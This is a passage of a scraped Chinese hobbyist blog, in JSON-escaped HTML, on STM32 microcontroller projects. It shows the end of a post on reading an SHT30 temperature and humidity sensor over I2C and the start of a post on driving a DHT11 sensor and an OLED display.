punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 check failed!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 read date failed!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"结果对比\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E7%BB%93%E6%9E%9C%E5%AF%B9%E6%AF%94\" class=\"headerlink\" title=\"结果对比\"\u003e\u003c/a\u003e结果对比\u003c/h2\u003e\u003cp\u003e随便复制几段单片机串口发过来的:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e53.824\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.36\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.92\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e55.818\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.34\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.85\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e57.818\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.41\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.88\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e59.815\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.33\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.98\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e01.809\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.40\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.89\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e03.808\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.38\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.96\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e05.804\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.38\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.94\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e07.799\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.38\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;54.02\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e09.796\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.36\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.84\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e11.807\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.37\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.82\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e13.788\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token property\"\u003e\u0026#34;Temperature\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;21.36\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;Humidity\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;53.71\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e手机上看一眼小米温湿度传感器的:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/res.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003e还行。\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.analog.com/cn/analog-dialogue/articles/i2c-communication-protocol-understanding-i2c-primer-pmbus-and-smbus.html\"\u003eI2C通信协议:了解I2C Primer、 PMBus和SMBus | 亚德诺半导体 (analog.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/m0_51429770/article/details/127661382?spm=1001.2014.3001.5506\"\u003eI2C协议介绍以及HAL库实现I2C对SHT30温湿度采样_hal i2c_HaiQinyanAN的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Yangtzey/article/details/129660763?spm=1001.2014.3001.5506\"\u003eIIC及配置应用(SHT30读取温湿度)_嵌不入的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_46251230/article/details/126722112?spm=1001.2014.3001.5506\"\u003eSTM32物联网项目-SHT30温湿度采集(IIC通信)_ONE_Day|的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://sensirion.com/media/documents/213E6A3B/63A5A569/Datasheet_SHT3x_DIS.pdf\"\u003e[Datasheet SHT3x-DIS]\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/f0c68eebb8a1\"\u003eCRC8校验 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/6c49/"},{"title":"STM32温湿度测量与显示-单总线协议学习","time":"2023-05-18T15:55:06Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#STM32%E6%B8%A9%E6%B9%BF%E5%BA%A6%E6%B5%8B%E9%87%8F%E4%B8%8E%E6%98%BE%E7%A4%BA-%E5%8D%95%E6%80%BB%E7%BA%BF%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0\" class=\"headerlink\" title=\"STM32温湿度测量与显示-单总线协议学习\"\u003e\u003c/a\u003eSTM32温湿度测量与显示-单总线协议学习\u003c/h1\u003e\u003cp\u003e为了验收个小玩意用一晚上搓了一个,比较氵。 \u003cdel\u003e那就氵篇博客算了。\u003c/del\u003e \u003c/p\u003e\u003cp\u003e手头正好有个ST的板子,型号是STM32G431KBT6,主频170M。刚好拿过来用了。(真好用啊,就是做这个有点浪费。\u003c/p\u003e\u003cp\u003e温湿度传感器使用 \u003cstrong\u003eDHT11\u003c/strong\u003e (单总线协议),屏幕是个IIC的小OLED,还用到了串口来看数据是否正确。(没了,确实氵。\u003c/p\u003e\u003cp\u003e效果图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/index.webp\" alt=\"效果图\" style=\"zoom: 33%;\"/\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e首先去官网下载 \u003cstrong\u003eSTM32G4xx\u003c/strong\u003e 的包。(\u003ca href=\"https://keilpack.azureedge.net/pack/Keil.STM32G4xx_DFP.1.5.0.pack\"\u003eKeil.STM32G4xx_DFP.1.5.0.pack\u003c/a\u003e)。官网直连下载很慢,很慢……\u003c/p\u003e\u003cp\u003e然后去CubeMX里面新建工程,因为是官方的板子,所以可以直接选择这块板子的模板创建。时钟设置170M(默认的)。选择一个没有中文的路径生成工程。\u003c/p\u003e\u003cp\u003e接下来的流程是:\u003c/p\u003e\u003cul\u003e\u003cli\u003e设置串口\u003c/li\u003e\u003cli\u003e驱动OLED屏幕\u003cul\u003e\u003cli\u003e重新配置延时函数\u003c/li\u003e\u003cli\u003e添加软件IIC\u003c/li\u003e\u003cli\u003e添加OLED驱动\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e驱动DHT11温湿度传感器(\u003cstrong\u003e单总线协议的学习\u003c/strong\u003e)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因为使用的OLED驱动比较特殊,添加之后无法使用原来的 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 函数,需要按照该驱动的要求重新配置延时函数,之后使用其提供的 \u003ccode\u003edelay_ms()\u003c/code\u003e 和 \u003ccode\u003edelay_us()\u003c/code\u003e 两个函数代替 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 函数,当然实际上是方便不少的,因为 \u003ccode\u003eHAL_Dealy()\u003c/code\u003e 是毫秒级延时,所以直接使用上面两个函数可以让自己少写一个微秒的延时函数,具体原理可以参考\u003ca href=\"https://blog.ksfu.top/posts/463a/\"\u003e之前的一篇博客\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"具体实现\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E5%85%B7%E4%BD%93%E5%AE%9E%E7%8E%B0\" class=\"headerlink\" title=\"具体实现\"\u003e\u003c/a\u003e具体实现\u003c/h2\u003e\u003ch3 id=\"串口设置\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E4%B8%B2%E5%8F%A3%E8%AE%BE%E7%BD%AE\" class=\"headerlink\" title=\"串口设置\"\u003e\u003c/a\u003e串口设置\u003c/h3\u003e\u003cp\u003e串口的具体实现参考我之前的博客步骤:\u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e 。因为这次没有用到收的功能,所以只需要设置好发送功能即可。\u003c/p\u003e\u003cp\u003e本次使用USART1。其实 \u003cstrong\u003e更推荐\u003c/strong\u003e 使用USART2的,因为官方的板子上本身就有串口芯片,使用的USART2,这样用一根USB线连电脑上就可以同时供电,下载和查看串口数据了,不用自己再连一个USB转串口的模块了,还能腾出来两个引脚,这STM32G431KBT6的引脚是真的少。 \u003cdel\u003e(还是官方板子好用,就是贵\u003c/del\u003e\u003c/p\u003e\u003chr/\u003e\u003cblockquote\u003e\u003cp\u003e\u003cdel\u003e)晚上要去重庆,剩下的具体流程就等下周回来再写了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e回来了,发现实习二面寄了,悲)\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003chr/\u003e\u003ch3 id=\"驱动OLED屏幕\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E9%A9%B1%E5%8A%A8OLED%E5%B1%8F%E5%B9%95\" class=\"headerlink\" title=\"驱动OLED屏幕\"\u003e\u003c/a\u003e驱动OLED屏幕\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e这一节可以略过。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e本次的驱动选自 \u003ca href=\"http://www.lcdwiki.com/zh/Main_Page\"\u003eLCD wiki\u003c/a\u003e 。\u003c/p\u003e\u003cp\u003e因为 LCD wiki 的驱动为gb2312编码,为了以后写的舒服,我先转换为了utf-8,具体可以参考:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.ksfu.top/posts/2d8a/\"\u003e批量转换文件编码gb2312转utf-8\u003c/a\u003e 。但是注意,代码里有中文的地方,比如 \u003ccode\u003etest.c\u003c/code\u003e,\u003ccode\u003eoledfont.h\u003c/code\u003e等文件需要保持原来的gb2312。\u003cdel\u003e(看见编译时候的编码报错真是心累呐\u003c/del\u003e\u003c/p\u003e\u003cp\u003eLCD wiki 的驱动使用标准库编写,放入HAL库的项目中会狠狠报错,所以要进行修改)我自己修改了一下,以后写一下修改过程emmm(咕咕\u003c/p\u003e\u003ch4 id=\"重新配置延时函数\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E9%87%8D%E6%96%B0%E9%85%8D%E7%BD%AE%E5%BB%B6%E6%97%B6%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"重新配置延时函数\"\u003e\u003c/a\u003e重新配置延时函数\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003esys.h\u003c/code\u003e , \u003ccode\u003esys.c\u003c/code\u003e , \u003ccode\u003edelay.h\u003c/code\u003e , \u003ccode\u003edelay.c\u003c/code\u003e ,注意修改里面包含的头文件为对应的 \u003ccode\u003e#include \u0026#34;stm32g4xx.h\u0026#34;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e之后在 \u003ccode\u003emain.c\u003c/code\u003e 里面进行初始化: \u003ccode\u003edelay_init();\u003c/code\u003e 初始化完成后以后的延时就用 \u003ccode\u003edelay_ms()\u003c/code\u003e 和 \u003ccode\u003edelay_us()\u003c/code\u003e 。\u003c/p\u003e\u003ch4 id=\"添加软件IIC\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E6%B7%BB%E5%8A%A0%E8%BD%AF%E4%BB%B6IIC\" class=\"headerlink\" title=\"添加软件IIC\"\u003e\u003c/a\u003e添加软件IIC\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003eiic.c\u003c/code\u003e , \u003ccode\u003eiic.h\u003c/code\u003e ,注意修改里面 \u003ccode\u003eSCL\u003c/code\u003e 与 \u003ccode\u003eSDA\u003c/code\u003e 的引脚。本次分别使用 \u003ccode\u003ePA1\u003c/code\u003e , \u003ccode\u003ePA0\u003c/code\u003e 。\u003c/p\u003e\u003ch4 id=\"添加OLED驱动\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E6%B7%BB%E5%8A%A0OLED%E9%A9%B1%E5%8A%A8\" class=\"headerlink\" title=\"添加OLED驱动\"\u003e\u003c/a\u003e添加OLED驱动\u003c/h4\u003e\u003cp\u003e添加 \u003ccode\u003ebmp.h\u003c/code\u003e , \u003ccode\u003egui.h\u003c/code\u003e , \u003ccode\u003egui.c\u003c/code\u003e , \u003ccode\u003eoled.c\u003c/code\u003e , \u003ccode\u003eoled.h\u003c/code\u003e , \u003ccode\u003eoledfont.h\u003c/code\u003e , \u003ccode\u003etest.c\u003c/code\u003e , \u003ccode\u003etest.h\u003c/code\u003e 。\u003c/p\u003e\u003cp\u003e这次所用的汉字取模保存至 \u003ccode\u003eoledfont.h\u003c/code\u003e 内,注意为gb2312编码。\u003c/p\u003e\u003cp\u003e取模使用 \u003ccode\u003ePCtoLCD2002\u003c/code\u003e ,为逐行式,顺向。考虑到屏幕大小,取模的大小为16×16。添加在 \u003ccode\u003econst typFNT_GB16 cfont16[]\u003c/code\u003e 的后面。如:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token string\"\u003e\u0026#34;康\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x3F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xF8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x3F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x2F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xF8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xC4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token 